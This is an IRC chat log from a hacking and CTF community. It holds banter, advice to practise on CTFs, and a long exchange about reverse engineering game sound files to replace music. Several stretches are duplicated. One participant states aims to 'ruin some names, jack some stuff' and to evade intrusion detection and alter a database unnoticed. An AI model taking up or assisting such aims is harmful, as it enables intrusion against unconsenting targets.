[2015-05-06T06:30:55-0400] <JacobEdelman> Gmorning all
[2015-05-06T09:23:39-0400] <Inkrement> Mornin
[2015-05-06T10:21:51-0400] <LittleBobbyTables> Inkrement: Sup
[2015-05-06T10:28:05-0400] <LittleBobbyTables> http://register.party/
[2015-05-06T10:29:20-0400] <fwilson> LittleBobbyTables: excellent
[2015-05-06T10:29:33-0400] <LittleBobbyTables> fwilson: What do you plan on getting?
[2015-05-06T10:30:09-0400] <fwilson> idk yet
[2015-05-06T10:30:12-0400] <fwilson> probably random stuff like with .science
[2015-05-06T10:30:42-0400] <LittleBobbyTables> lemon.party is taken :(
[2015-05-06T11:10:37-0400] <Inkrement> Hi LittleBobbyTables 
[2015-05-06T11:10:42-0400] <Inkrement> Sorry about that
[2015-05-06T11:10:54-0400] <Inkrement> Been in meetings, plus working on pointer math
[2015-05-06T11:10:56-0400] <Inkrement> Learned a new thing
[2015-05-06T11:21:29-0400] <Inkrement> LittleBobbyTables: you here?
[2015-05-06T11:23:16-0400] <+awe> LittleBobbyTables: butthole.party is available.
[2015-05-06T11:45:35-0400] <LittleBobbyTables> awe: that sounds amazing.
[2015-05-06T11:47:12-0400] <LittleBobbyTables> Inkrement: barely
[2015-05-06T11:47:59-0400] <Inkrement> LittleBobbyTables: damn :(
[2015-05-06T11:48:04-0400] <Inkrement> I wanted to get down to some learning today
[2015-05-06T11:49:01-0400] <LittleBobbyTables> Inkrement: after work
[2015-05-06T17:21:01-0400] Mode is +nrt
[2015-05-06T17:34:10-0400] <z3t> lol web client ^
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[2015-05-06T18:32:01-0400] <Inkrement> LittleBobbyTables: sup
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[2015-05-06T19:59:16-0400] <LittleBobbyTables> ur a web client z3t 
[2015-05-06T19:59:33-0400] <fwilson> your mom is a web client
[2015-05-06T20:00:04-0400] <alokpathy> awe: Did you get it? :o
[2015-05-06T20:11:48-0400] <LittleBobbyTables> Inkrement: what do you want to learn?
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[2015-05-06T21:49:46-0400] <Inkrement> Uh
[2015-05-06T21:53:32-0400] <Inkrement> LittleBobbyTables: you here?
[2015-05-06T21:53:46-0400] <LittleBobbyTables> no
[2015-05-06T21:53:51-0400] <Inkrement> awesome
[2015-05-06T21:54:59-0400] <Inkrement> So I mean, the main question I had is where do I start?
[2015-05-06T21:55:57-0400] <Inkrement> I mean, ideally, I'd like to learn how to sniff out weaknesses during recon and figure out a way in
[2015-05-06T21:56:03-0400] <Inkrement> But I don't know many techniques to do that
[2015-05-06T21:56:18-0400] <Inkrement> And I'm a long way off from discovering things like 0days
[2015-05-06T21:56:44-0400] <Inkrement> I'd rather avoid being a skid
[2015-05-06T21:56:57-0400] <Inkrement> I can program, albeit not very well
[2015-05-06T21:58:01-0400] <z3t> Inkrement: if you want to avoid being a skid, I suggest you don't take advice from LittleBobbyTables.
[2015-05-06T21:58:02-0400] <Inkrement> I'm a long way off from cryptography as well :/
[2015-05-06T21:58:39-0400] <LittleBobbyTables> z3t: please, bug bounties are infested with skids
[2015-05-06T21:59:45-0400] <Inkrement> I do have goals, and a few people I'd like to take off the net when all is said and done
[2015-05-06T22:00:05-0400] <Inkrement> Self study is fine, the issue is it's really hard to find tutorials that aren't out to pwn your box the minute you access them
[2015-05-06T22:00:05-0400] <LittleBobbyTables> "take off the net" in what way
[2015-05-06T22:00:23-0400] <Inkrement> Plus the govt has gone after a lot of other stuff
[2015-05-06T22:02:17-0400] <Inkrement> Maybe ruin some names, jack some stuff, whatever really
[2015-05-06T22:02:30-0400] <Inkrement> Expose some bullshit
[2015-05-06T22:02:43-0400] <kenzierocks> bullshit.EXPOSE();
[2015-05-06T22:03:16-0400] <LittleBobbyTables> wtf is that case, kenzierocks 
[2015-05-06T22:03:49-0400] <Inkrement> I'm not all about the trolls, and I'm not all about the goodie twoshoes either
[2015-05-06T22:04:10-0400] <LittleBobbyTables> All pro haxx0rs are master rmemers
[2015-05-06T22:04:33-0400] <LittleBobbyTables> Are you a master memer?
[2015-05-06T22:04:33-0400] <Inkrement> I don't want to be a 1337 h4x0r though
[2015-05-06T22:04:34-0400] <Inkrement> Just good enough
[2015-05-06T22:05:00-0400] <LittleBobbyTables> Are you an okish memer?
[2015-05-06T22:05:10-0400] <Inkrement> Sure
[2015-05-06T22:05:30-0400] <LittleBobbyTables> liar
[2015-05-06T22:05:32-0400] <Inkrement> I'm mainly in things for the knowledge as is
[2015-05-06T22:05:49-0400] <Inkrement> Well, define "okish"
[2015-05-06T22:05:57-0400] <LittleBobbyTables> Just do ctfs, they teach you the knowledge
[2015-05-06T22:06:10-0400] <LittleBobbyTables> smashthestack is pretty great
[2015-05-06T22:20:16-0400] <+awe> [20:00:04]  <alokpathy>	awe: Did you get it? 😯
[2015-05-06T22:20:19-0400] <+awe> alokpathy: butthole.party? No.
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[2015-05-06T21:53:51-0400] <Inkrement> awesome
[2015-05-06T21:54:59-0400] <Inkrement> So I mean, the main question I had is where do I start?
[2015-05-06T21:55:57-0400] <Inkrement> I mean, ideally, I'd like to learn how to sniff out weaknesses during recon and figure out a way in
[2015-05-06T21:56:03-0400] <Inkrement> But I don't know many techniques to do that
[2015-05-06T21:56:18-0400] <Inkrement> And I'm a long way off from discovering things like 0days
[2015-05-06T21:56:44-0400] <Inkrement> I'd rather avoid being a skid
[2015-05-06T21:56:57-0400] <Inkrement> I can program, albeit not very well
[2015-05-06T21:58:01-0400] <z3t> Inkrement: if you want to avoid being a skid, I suggest you don't take advice from LittleBobbyTables.
[2015-05-06T21:58:02-0400] <Inkrement> I'm a long way off from cryptography as well :/
[2015-05-06T21:58:39-0400] <LittleBobbyTables> z3t: please, bug bounties are infested with skids
[2015-05-06T21:59:45-0400] <Inkrement> I do have goals, and a few people I'd like to take off the net when all is said and done
[2015-05-06T22:00:05-0400] <Inkrement> Self study is fine, the issue is it's really hard to find tutorials that aren't out to pwn your box the minute you access them
[2015-05-06T22:00:05-0400] <LittleBobbyTables> "take off the net" in what way
[2015-05-06T22:00:23-0400] <Inkrement> Plus the govt has gone after a lot of other stuff
[2015-05-06T22:02:17-0400] <Inkrement> Maybe ruin some names, jack some stuff, whatever really
[2015-05-06T22:02:30-0400] <Inkrement> Expose some bullshit
[2015-05-06T22:02:43-0400] <kenzierocks> bullshit.EXPOSE();
[2015-05-06T22:03:16-0400] <LittleBobbyTables> wtf is that case, kenzierocks 
[2015-05-06T22:03:49-0400] <Inkrement> I'm not all about the trolls, and I'm not all about the goodie twoshoes either
[2015-05-06T22:04:10-0400] <LittleBobbyTables> All pro haxx0rs are master rmemers
[2015-05-06T22:04:33-0400] <LittleBobbyTables> Are you a master memer?
[2015-05-06T22:04:33-0400] <Inkrement> I don't want to be a 1337 h4x0r though
[2015-05-06T22:04:34-0400] <Inkrement> Just good enough
[2015-05-06T22:05:00-0400] <LittleBobbyTables> Are you an okish memer?
[2015-05-06T22:05:10-0400] <Inkrement> Sure
[2015-05-06T22:05:30-0400] <LittleBobbyTables> liar
[2015-05-06T22:05:32-0400] <Inkrement> I'm mainly in things for the knowledge as is
[2015-05-06T22:05:49-0400] <Inkrement> Well, define "okish"
[2015-05-06T22:05:57-0400] <LittleBobbyTables> Just do ctfs, they teach you the knowledge
[2015-05-06T22:06:10-0400] <LittleBobbyTables> smashthestack is pretty great
[2015-05-06T22:20:16-0400] <+awe> [20:00:04]  <alokpathy>	awe: Did you get it? 😯
[2015-05-06T22:20:19-0400] <+awe> alokpathy: butthole.party? No.
[2015-05-06T22:26:14-0400] <alokpathy> Aw
[2015-05-06T22:26:16-0400] <alokpathy> :(
[2015-05-06T22:30:15-0400] <JacobEdelman> gusy
[2015-05-06T22:30:17-0400] <JacobEdelman> (guys
[2015-05-06T22:30:19-0400] <JacobEdelman> *guys
[2015-05-06T22:30:25-0400] <JacobEdelman> rule 34, conways game of life?
[2015-05-06T22:56:16-0400] <Inkrement> JacobEdelman: I'm sure somewhere, probably
[2015-05-06T22:56:20-0400] <Inkrement> Or at least closely related
[2015-05-06T23:05:36-0400] <LittleBobbyTables> Tamini: why haven't you added me on facebook yet
[2015-05-06T23:15:51-0400] <LittleBobbyTables> Inkrement: what do you want to learn though, for realsies
[2015-05-06T23:16:17-0400] <Inkrement> Everything I can, even if I never have to use it
[2015-05-06T23:16:37-0400] <Inkrement> Owning a box would be a good start
[2015-05-06T23:16:49-0400] <Inkrement> Without resorting to something like metasploit
[2015-05-06T23:17:37-0400] <Inkrement> Maybe sneak past an IDS and modify a database without anyone knowing
[2015-05-06T23:17:40-0400] <Inkrement> That's be pretty fun
[2015-05-06T23:18:51-0400] <Inkrement> Relying on phishing and social engineering isn't a good method sometimes
[2015-05-06T23:18:59-0400] <Inkrement> People are always the weakest links, sure
[2015-05-06T23:19:12-0400] <Inkrement> But sometimes there are people watching those people to make sure they can't be a weak link
[2015-05-06T23:20:15-0400] Mode is +nrt
[2015-05-06T23:22:28-0400] <LittleBobbyTables> hao 2 git past ids
[2015-05-06T23:22:30-0400] <LittleBobbyTables> 1: 2=2
[2015-05-06T23:22:32-0400] <LittleBobbyTables> ggwp
[2015-05-06T23:22:48-0400] <LittleBobbyTables> phishing and SE will always work
[2015-05-06T23:30:53-0400] <kenzierocks> LittleBobbyTables: that case is CAPS
[2015-05-06T23:33:30-0400] <ubuntor> that seems to be the case
[2015-05-06T23:33:36-0400] <Inkrement> LittleBobbyTables: well, I gotta head to bed. I'll try to catch up tomorrow
[2015-05-06T23:34:37-0400] <LittleBobbyTables> k
[2015-05-06T23:34:39-0400] <LittleBobbyTables> ubuntor: no.
[2015-05-06T23:40:39-0400] <+awe> Argh. I cannot wait for Overwatch to come out.
[2015-05-06T23:51:02-0400] <Hyper> awe: pls
[2015-05-06T23:51:07-0400] <Hyper> tf2 4ever
[2015-05-07T00:09:01-0400] <ubuntor> someone should make malbolge into a game
[2015-05-07T00:16:52-0400] <Tamini> LittleBobbyTables: because youre a creepy old maaaaan
[2015-05-07T00:23:04-0400] <LittleBobbyTables> Tamini: prove it
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[2015-05-07T08:27:16-0400] <Inkrement> Hello\
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[2015-05-07T10:03:44-0400] <Inkrement> LittleBobbyTables: so I'm unable to do smashthestack while at work, obviously
[2015-05-07T10:04:34-0400] <LittleBobbyTables> Why is that
[2015-05-07T10:04:38-0400] <Inkrement> Corporate security and all that
[2015-05-07T10:04:47-0400] <LittleBobbyTables> so
[2015-05-07T10:04:55-0400] <Inkrement> Blocks that kind of stuff
[2015-05-07T10:05:00-0400] <LittleBobbyTables> Just say "I accept the terms" or whatever bullshit block comes up
[2015-05-07T10:05:14-0400] <Inkrement> They have proxy farms and a security team monitoring everything
[2015-05-07T10:05:31-0400] <Inkrement> I had teamviewer up on my system when I first got here and within 30 minutes I got a cease and desist email
[2015-05-07T10:05:36-0400] <Inkrement> Against corporate policy
[2015-05-07T10:05:39-0400] <Inkrement> They don't fuck around here
[2015-05-07T10:06:06-0400] <Inkrement> So in lieu of losing my job in the pursuit of knowledge, what else do you recommend I read/study?
[2015-05-07T10:07:25-0400] <LittleBobbyTables> I would say "just tell them you're learning"
[2015-05-07T10:07:32-0400] <LittleBobbyTables> But, that's not the kind of company that would accept it.
[2015-05-07T10:07:38-0400] <LittleBobbyTables> Completely different field...
[2015-05-07T10:08:34-0400] <Inkrement> I work in the IT dept at a financial company
[2015-05-07T10:08:40-0400] <Inkrement> They're pretty big
[2015-05-07T10:08:45-0400] <Inkrement> I brought some RE materials to work once
[2015-05-07T10:08:52-0400] <Inkrement> On my flash drive
[2015-05-07T10:08:59-0400] <Inkrement> Harmless shit, just for practice
[2015-05-07T10:09:03-0400] <Inkrement> Almost got fired for it
[2015-05-07T10:09:22-0400] <LittleBobbyTables> I work in the IT department for the government
[2015-05-07T10:09:36-0400] <LittleBobbyTables> They were like "yo is your work done" and that was the end of it
[2015-05-07T10:10:05-0400] <Inkrement> Immunity from the feds? must be nice
[2015-05-07T10:16:14-0400] <Inkrement> LittleBobbyTables: So yea, what else should I be studying
[2015-05-07T10:16:15-0400] <Inkrement> ?
[2015-05-07T10:16:41-0400] <Inkrement> Binary exploitation isn't the only thing
[2015-05-07T10:26:54-0400] <LittleBobbyTables> For what you want to do, it mostly is.
[2015-05-07T10:27:14-0400] <LittleBobbyTables> You could just sit there and do web shit all day
[2015-05-07T10:27:37-0400] <LittleBobbyTables> ugh
[2015-05-07T10:27:41-0400] <LittleBobbyTables> evo is on sale for 180
[2015-05-07T10:47:23-0400] <Tamini_> goddammit this class is so boring ;-;
[2015-05-07T10:48:16-0400] <Inkrement> LittleBobbyTables: are you in vana right now?
[2015-05-07T10:48:24-0400] <Inkrement> Because we're having that very discussion
[2015-05-07T10:48:31-0400] <Inkrement> And that was far too coincidental
[2015-05-07T10:50:14-0400] <Inkrement> Oh, you are
[2015-05-07T10:50:16-0400] <Inkrement> Lookit that
[2015-05-07T10:59:30-0400] <Inkrement> LittleBobbyTables: Well, I mean, I honestly feel like I'd be better at web exploits than I would be at binary exploits right now
[2015-05-07T10:59:57-0400] <Inkrement> I don't exactly possess confidence in my ASM/RE skills
[2015-05-07T11:48:41-0400] <LittleBobbyTables> Inkrement: I just disappear for a long while at a time a lot. It was also the top post on /r/buildapcsales
[2015-05-07T11:49:04-0400] <LittleBobbyTables> There's still some practice problems up from bkpctf, picoctf, and a few others.
[2015-05-07T11:49:06-0400] <LittleBobbyTables> Try your hand at those
[2015-05-07T11:51:05-0400] <LittleBobbyTables> Relevant though: It's on sale for cheaper on Ebay, apparently
[2015-05-07T11:53:50-0400] <LittleBobbyTables> But, RE seems to be a lifelong skill, really.
[2015-05-07T11:53:54-0400] <Inkrement> LittleBobbyTables: ah, I don't reddit unfortunately
[2015-05-07T11:53:56-0400] <Inkrement> Well
[2015-05-07T11:54:00-0400] <Inkrement> I'm always trying to learn more RE
[2015-05-07T11:54:04-0400] <Inkrement> In fact, I have a project
[2015-05-07T11:54:09-0400] <Inkrement> I want to modify music in a MMO I play
[2015-05-07T11:54:17-0400] <LittleBobbyTables> That part seems really easy
[2015-05-07T11:54:23-0400] <Inkrement> Because it totally removes the immersive experience
[2015-05-07T11:54:24-0400] <LittleBobbyTables> Don't they just read files from your system
[2015-05-07T11:54:27-0400] <Inkrement> THe music is totally garbage
[2015-05-07T11:54:29-0400] <Inkrement> Yes
[2015-05-07T11:54:34-0400] <LittleBobbyTables> Just change those files then
[2015-05-07T11:54:34-0400] <Inkrement> But it isn't as easy as you think
[2015-05-07T11:54:37-0400] <LittleBobbyTables> Keep them the same length
[2015-05-07T11:54:38-0400] <Inkrement> Can't
[2015-05-07T11:54:40-0400] <Inkrement> Nope
[2015-05-07T11:54:41-0400] <LittleBobbyTables> That's the only checks they have
[2015-05-07T11:54:44-0400] <Inkrement> Nope
[2015-05-07T11:54:49-0400] <LittleBobbyTables> in 99% of games
[2015-05-07T11:54:50-0400] <Inkrement> It utilizes FMOD technology
[2015-05-07T11:55:04-0400] <Inkrement> FMOD Sound Bank (FSB) files
[2015-05-07T11:55:04-0400] <LittleBobbyTables> What game
[2015-05-07T11:55:05-0400] <Inkrement> FSB5 to be exact
[2015-05-07T11:55:08-0400] <Inkrement> Archeage
[2015-05-07T11:55:17-0400] <Inkrement> It's built off the Crysis3 engine
[2015-05-07T11:55:23-0400] <Inkrement> Sorry, Crytek3
[2015-05-07T11:55:34-0400] <Inkrement> The game is dumped into a .PAK file
[2015-05-07T11:55:39-0400] <Inkrement> Which can be unpacked by QuickBMS
[2015-05-07T11:55:47-0400] <Inkrement> A tool some guy named Luigi something wrote
[2015-05-07T11:55:50-0400] <Inkrement> He's on AlterVista
[2015-05-07T11:56:06-0400] <Inkrement> The game has HackShield from AhnLabs as well
[2015-05-07T11:56:12-0400] <Inkrement> And I don't know what checks it performs
[2015-05-07T11:56:17-0400] <Inkrement> I have no interest in cheating
[2015-05-07T11:56:20-0400] <Inkrement> Just modding the music
[2015-05-07T11:56:23-0400] <LittleBobbyTables> Isn't hackshield pretty much non-existent
[2015-05-07T11:56:33-0400] <Inkrement> I've never hacked a game before, so I wouldn't know
[2015-05-07T11:56:46-0400] <Inkrement> I've been trying to learn the format of FSB5
[2015-05-07T11:56:49-0400] <Inkrement> So I can write an injector
[2015-05-07T11:56:54-0400] <Inkrement> People have written extractors
[2015-05-07T11:56:56-0400] <LittleBobbyTables> You can compose your own music apparently
[2015-05-07T11:57:00-0400] <Inkrement> The issue with archeage is twofold
[2015-05-07T11:57:05-0400] <LittleBobbyTables> Don't know if that's the same
[2015-05-07T11:57:07-0400] <+awe> LittleBobbyTables: hackshield is a joke, yeah.
[2015-05-07T11:57:07-0400] <Inkrement> The music stored in the FSB is raw vorbis
[2015-05-07T11:57:17-0400] <Inkrement> Er
[2015-05-07T11:57:18-0400] <+awe> >raw
[2015-05-07T11:57:19-0400] <+awe> >vorbis
[2015-05-07T11:57:20-0400] <+awe> wat
[2015-05-07T11:57:21-0400] <Inkrement> Raw OGG actually
[2015-05-07T11:57:23-0400] <Inkrement> Sorry
[2015-05-07T11:57:26-0400] <Inkrement> Other way around
[2015-05-07T11:57:36-0400] <Inkrement> It has no container, thus no header, and cannot be played
[2015-05-07T11:57:40-0400] <Inkrement> Which causes an issue
[2015-05-07T11:57:46-0400] <+awe> >raw
[2015-05-07T11:57:47-0400] <+awe> >ogg
[2015-05-07T11:57:48-0400] <Inkrement> I'd just stuff an oggvorbis in there manually if I could
[2015-05-07T11:57:55-0400] <+awe> I don't know what you're trying to say.
[2015-05-07T11:57:55-0400] <Inkrement> WHATEVER THE FUCK THE CONTAINER IS
[2015-05-07T11:58:04-0400] <Inkrement> No, I was right the first time
[2015-05-07T11:58:06-0400] <Inkrement> Ogg is the container
[2015-05-07T11:58:08-0400] <+awe> ogg is a container format, but what on earth do you mean by raw.
[2015-05-07T11:58:09-0400] <Inkrement> Vorbis is the format
[2015-05-07T11:58:10-0400] <Inkrement> It's raw
[2015-05-07T11:58:15-0400] <Inkrement> It contains no header
[2015-05-07T11:58:17-0400] <LittleBobbyTables> It's not cooked, awe
[2015-05-07T11:58:17-0400] <Inkrement> And no container
[2015-05-07T11:58:23-0400] <Inkrement> It's just there
[2015-05-07T11:58:36-0400] <+awe> you're an idiot.
[2015-05-07T11:58:39-0400] <+awe> Raw means unencoded.
[2015-05-07T11:58:52-0400] <Inkrement> i mean raw as in it cannot be understood by any music player
[2015-05-07T11:58:59-0400] <+awe> Don't make up words.
[2015-05-07T11:59:07-0400] <Inkrement> :/
[2015-05-07T11:59:10-0400] <LittleBobbyTables> rekt
[2015-05-07T11:59:13-0400] <Inkrement> At anyrate
[2015-05-07T11:59:26-0400] <Inkrement> There are tools you can use on the files
[2015-05-07T11:59:36-0400] <Inkrement> CryEngine3 is free to download and use
[2015-05-07T11:59:40-0400] <Inkrement> It comes with the FMOD tools suite
[2015-05-07T11:59:45-0400] <Inkrement> When I extract the crap out of the .PAK
[2015-05-07T11:59:51-0400] <Inkrement> I can play the FSB files with the tools there
[2015-05-07T12:00:00-0400] <Inkrement> I cannot modify them in any way however, because it's missing the project files
[2015-05-07T12:00:17-0400] <Inkrement> So I've been trying to reverse the event player to figure out how it's reading the files
[2015-05-07T12:00:24-0400] <Inkrement> I put that on hold though
[2015-05-07T12:00:39-0400] <Inkrement> I got into where it started doing Kernel32.ReadFile in 2KB chunks
[2015-05-07T12:00:52-0400] <Inkrement> And got about 13 functions deep into that process
[2015-05-07T12:01:02-0400] <Inkrement> I still haven't mapped out everything that happens after
[2015-05-07T12:01:08-0400] <+awe> >trying to reverse engineer to change sound files
[2015-05-07T12:01:09-0400] <+awe> lol
[2015-05-07T12:01:10-0400] <Inkrement> I've been trying to use IDA to piece it together
[2015-05-07T12:01:22-0400] <Inkrement> But I haven't worked on it at all lately
[2015-05-07T12:01:33-0400] <Inkrement> Well, that's really the only route available
[2015-05-07T12:01:37-0400] <Inkrement> There isn't another way to do it
[2015-05-07T12:02:03-0400] <Inkrement> I have IDA 6.6 with hexrays decompiler
[2015-05-07T12:02:07-0400] <+awe> You already know what the format is.
[2015-05-07T12:02:09-0400] <+awe> Are you daft?
[2015-05-07T12:02:22-0400] <+awe> You don't have to touch any code to replace a file with another file.
[2015-05-07T12:02:26-0400] <Inkrement> Yes, but I don't know how it's played or accessed or read
[2015-05-07T12:02:30-0400] <+awe> Who cares?
[2015-05-07T12:02:32-0400] <+awe> None of that matters.
[2015-05-07T12:02:37-0400] <Inkrement> FFMPEG couldn't even play the files
[2015-05-07T12:02:43-0400] <Inkrement> Which means it might not even be vorbis
[2015-05-07T12:02:52-0400] <Inkrement> I only got that from a FSBextraction tool that SAID it was vorbis
[2015-05-07T12:02:54-0400] <+awe> BECAUSE THOSE PLAYERS ARE FOR WELL-FORMED AUDIO
[2015-05-07T12:03:09-0400] <+awe> GAMES DON'T BOTHER PUTTING AUDIO IN CONTAINER FORMATS
[2015-05-07T12:03:19-0400] <+awe> IT'S JUST AUDIO ENCODED WITH VORBIS
[2015-05-07T12:03:34-0400] <LittleBobbyTables> ur mum
[2015-05-07T12:04:01-0400] <Inkrement> It all matters if I want to modify the FSB files
[2015-05-07T12:04:07-0400] <Inkrement> Or create my own that will work properly with the game
[2015-05-07T12:04:26-0400] <Inkrement> I actually have a couple of experiments lined up for this weekend
[2015-05-07T12:04:32-0400] <Inkrement> Because I did make FSB5 files
[2015-05-07T12:04:33-0400] <+awe> No, it literally doesn't matter at all.
[2015-05-07T12:04:46-0400] <+awe> All you have to do is edit the packaged file and replace the audio with some other audio.
[2015-05-07T12:05:11-0400] <Inkrement> There could be information in the FSB header that dictates how the audio stream is read
[2015-05-07T12:05:18-0400] <Inkrement> So just dumping crap into there might not actually work
[2015-05-07T12:05:27-0400] <Inkrement> I'll admit, I haven't tried it
[2015-05-07T12:05:46-0400] <+awe> There is nothing in the header dictating how the audio stream is read.
[2015-05-07T12:05:47-0400] <Inkrement> But I'm highly doubtful this FSB container would have been made if it didn't contain information regarding the audio data
[2015-05-07T12:05:54-0400] <Inkrement> how do you know?
[2015-05-07T12:06:07-0400] <+awe> Because there's no reason for it.
[2015-05-07T12:06:10-0400] <Inkrement> Why would they even bother creating a FSB file in that case?
[2015-05-07T12:06:12-0400] <+awe> It might say like "lol, vorbis"
[2015-05-07T12:06:16-0400] <+awe> but you already know that.
[2015-05-07T12:06:27-0400] <Inkrement> As the leper said to his mistress, where's the point?
[2015-05-07T12:06:30-0400] <+awe> It's probably not going to contain something like "start at 0.3s in the audio"
[2015-05-07T12:06:56-0400] <+awe> and it almost definitely won't contain something complicated that'll determine something about the actual decoding process.
[2015-05-07T12:07:53-0400] <Inkrement> Well, I'll take a shot at it tonight then
[2015-05-07T12:07:58-0400] <Inkrement> QuickBMS can repack as well
[2015-05-07T12:08:13-0400] <Inkrement> I'd really like the source to that tool, because it's fucking useful
[2015-05-07T12:08:28-0400] <Inkrement> But sure, I'll try to encode something in vorbis and replace the vorbis in the FSB file with that
[2015-05-07T12:08:31-0400] <Inkrement> And see if it works
[2015-05-07T12:08:56-0400] <+awe> General advice: just try things.
[2015-05-07T12:09:00-0400] <+awe> If they don't work, try other things.
[2015-05-07T12:09:05-0400] <+awe> If you don't know what to try, then you start reversing.
[2015-05-07T12:09:13-0400] <Inkrement> I didn't know what to try
[2015-05-07T12:09:16-0400] <+awe> Yes, you did.
[2015-05-07T12:09:18-0400] <Inkrement> Which was why I started reversing
[2015-05-07T12:09:29-0400] <+awe> You just said that you knew the format.
[2015-05-07T12:09:38-0400] <Inkrement> I found that out after the fact
[2015-05-07T12:09:43-0400] <+awe> [11:57:48]  <Inkrement>	I'd just stuff an oggvorbis in there manually if I could
[2015-05-07T12:10:19-0400] <Inkrement> Yea
[2015-05-07T12:10:38-0400] <Inkrement> But I didn't know how to do that without fucking everything up
[2015-05-07T12:10:51-0400] <Inkrement> Well, didn't think I could
[2015-05-07T12:11:11-0400] <+awe> ...
[2015-05-07T12:11:13-0400] <+awe> This is my point.
[2015-05-07T12:11:23-0400] <+awe> "I didn't think I could do X without fucking everything up."
[2015-05-07T12:11:27-0400] <+awe> Try it anyway.
[2015-05-07T12:11:29-0400] <+awe> Who cares?
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[2015-05-07T12:23:50-0400] <Inkrement> No tools seem to exist online for converting from one format to just vorbis without a container getting involved
[2015-05-07T12:25:57-0400] <+awe> ...
[2015-05-07T12:26:25-0400] <Inkrement> Everything converts to ogg vorbis
[2015-05-07T12:26:26-0400] <+awe> Options: convert to ogg vorbis and remove the encoded vorbis from container
[2015-05-07T12:26:44-0400] <+awe> Write small script that decodes a format with a container and then runs the vorbis encoder on it.
[2015-05-07T12:26:45-0400] <+awe> >.>
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[2015-05-07T13:16:29-0400] <LittleBobbyTables> awe: stop being logical
[2015-05-07T13:16:34-0400] <LittleBobbyTables> and take away your away status
[2015-05-07T13:21:01-0400] <+awe> My away status?
[2015-05-07T13:21:05-0400] <+awe> Am I still marked as away?
[2015-05-07T13:21:11-0400] <LittleBobbyTables> You have been
[2015-05-07T13:21:14-0400] <LittleBobbyTables> For like 3 months
[2015-05-07T13:21:25-0400] <+awe> Am I still away?
[2015-05-07T13:21:30-0400] <LittleBobbyTables> Apparently
[2015-05-07T13:22:00-0400] <LittleBobbyTables> Yeah, /back works for me.
[2015-05-07T13:22:04-0400] <LittleBobbyTables> You must have broke something
[2015-05-07T13:22:12-0400] <+awe> Now?
[2015-05-07T13:22:36-0400] <LittleBobbyTables> I'm pretty sure you broke something
[2015-05-07T13:22:51-0400] <+awe> It's probably ZNC being buggy.
[2015-05-07T13:22:58-0400] <LittleBobbyTables> http://gyazo.com/2a59f68e8b1c556c80df2fe32070e373
[2015-05-07T13:23:08-0400] <+awe> I have problems with calc0000 always being marked as away too
[2015-05-07T13:23:28-0400] <LittleBobbyTables> He's here for me, though
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[2015-05-07T13:25:38-0400] <+awe> I'm going to assume simple_away is broken.
[2015-05-07T13:25:40-0400] <+awe> I disabled it.
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[2015-05-07T13:26:09-0400] <+awe> LittleBobbyTables: good now?
[2015-05-07T13:26:20-0400] <LittleBobbyTables> nope
[2015-05-07T13:26:30-0400] • awe: shrugs. I don't know what's up with this.
[2015-05-07T13:27:03-0400] <LittleBobbyTables> rc?
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[2015-05-07T13:27:30-0400] <~awe> Solved?
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[2015-05-07T13:27:40-0400] <LittleBobbyTables> yeah
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[2015-05-07T13:28:18-0400] <+awe> Okay, cool.
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[2015-05-07T12:11:11-0400] <@awe> ...
[2015-05-07T12:11:13-0400] <@awe> This is my point.
[2015-05-07T12:11:23-0400] <@awe> "I didn't think I could do X without fucking everything up."
[2015-05-07T12:11:27-0400] <@awe> Try it anyway.
[2015-05-07T12:11:29-0400] <@awe> Who cares?
[2015-05-07T12:23:50-0400] <Inkrement> No tools seem to exist online for converting from one format to just vorbis without a container getting involved
[2015-05-07T12:25:57-0400] <@awe> ...
[2015-05-07T12:26:25-0400] <Inkrement> Everything converts to ogg vorbis
[2015-05-07T12:26:26-0400] <@awe> Options: convert to ogg vorbis and remove the encoded vorbis from container
[2015-05-07T12:26:44-0400] <@awe> Write small script that decodes a format with a container and then runs the vorbis encoder on it.
[2015-05-07T12:26:45-0400] <@awe> >.>
[2015-05-07T13:16:29-0400] <LittleBobbyTables> awe: stop being logical
[2015-05-07T13:16:34-0400] <LittleBobbyTables> and take away your away status
[2015-05-07T13:21:01-0400] <@awe> My away status?
[2015-05-07T13:21:05-0400] <@awe> Am I still marked as away?
[2015-05-07T13:21:11-0400] <LittleBobbyTables> You have been
[2015-05-07T13:21:14-0400] <LittleBobbyTables> For like 3 months
[2015-05-07T13:21:25-0400] <@awe> Am I still away?
[2015-05-07T13:21:30-0400] <LittleBobbyTables> Apparently
[2015-05-07T13:22:00-0400] <LittleBobbyTables> Yeah, /back works for me.
[2015-05-07T13:22:04-0400] <LittleBobbyTables> You must have broke something
[2015-05-07T13:22:12-0400] <@awe> Now?
[2015-05-07T13:22:36-0400] <LittleBobbyTables> I'm pretty sure you broke something
[2015-05-07T13:22:51-0400] <@awe> It's probably ZNC being buggy.
[2015-05-07T13:22:58-0400] <LittleBobbyTables> http://gyazo.com/2a59f68e8b1c556c80df2fe32070e373
[2015-05-07T13:23:08-0400] <@awe> I have problems with calc0000 always being marked as away too
[2015-05-07T13:23:28-0400] <LittleBobbyTables> He's here for me, though
[2015-05-07T13:25:38-0400] <@awe> I'm going to assume simple_away is broken.
[2015-05-07T13:25:40-0400] <@awe> I disabled it.
[2015-05-07T13:26:09-0400] <@awe> LittleBobbyTables: good now?
[2015-05-07T13:26:19-0400] <LittleBobbyTables> nope
[2015-05-07T13:26:30-0400] • awe: shrugs. I don't know what's up with this.
[2015-05-07T13:27:03-0400] <LittleBobbyTables> rc?
[2015-05-07T13:27:30-0400] <@awe> Solved?
[2015-05-07T13:27:40-0400] <LittleBobbyTables> yeah
[2015-05-07T13:28:18-0400] <@awe> Okay, cool.
[2015-05-07T16:56:05-0400] <JacobEdelman> watching numbers tick upwards is fun
[2015-05-07T16:56:26-0400] <JacobEdelman> in this case its the hsctf registration numbers
[2015-05-07T16:57:10-0400] <JacobEdelman> over the course of an hour it went up by 17
[2015-05-07T16:57:26-0400] <JacobEdelman> at this rate of acceleration I predict we will surpass the worlds population by sunday
[2015-05-07T20:40:02-0400] <calc0000> (1:23:07 PM) awe: I have problems with calc0000 always being marked as away too
[2015-05-07T20:40:07-0400] <calc0000> but i am away most of the time
[2015-05-07T20:40:53-0400] <calc0000> though if my weechat is to be trusted then it is, in fact, true that i am marked away way too often
[2015-05-07T21:16:04-0400] <JacobEdelman> hey
[2015-05-07T21:16:05-0400] <JacobEdelman> guess way
[2015-05-07T21:16:13-0400] <JacobEdelman> 139 users signed up for hsctf
[2015-05-07T21:16:17-0400] <JacobEdelman> and 104 teams
[2015-05-07T21:17:01-0400] <JacobEdelman> just got my 12th pm from awebot
